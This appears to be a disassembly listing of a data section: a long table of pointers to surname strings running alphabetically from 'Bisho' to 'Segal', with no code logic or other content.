dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
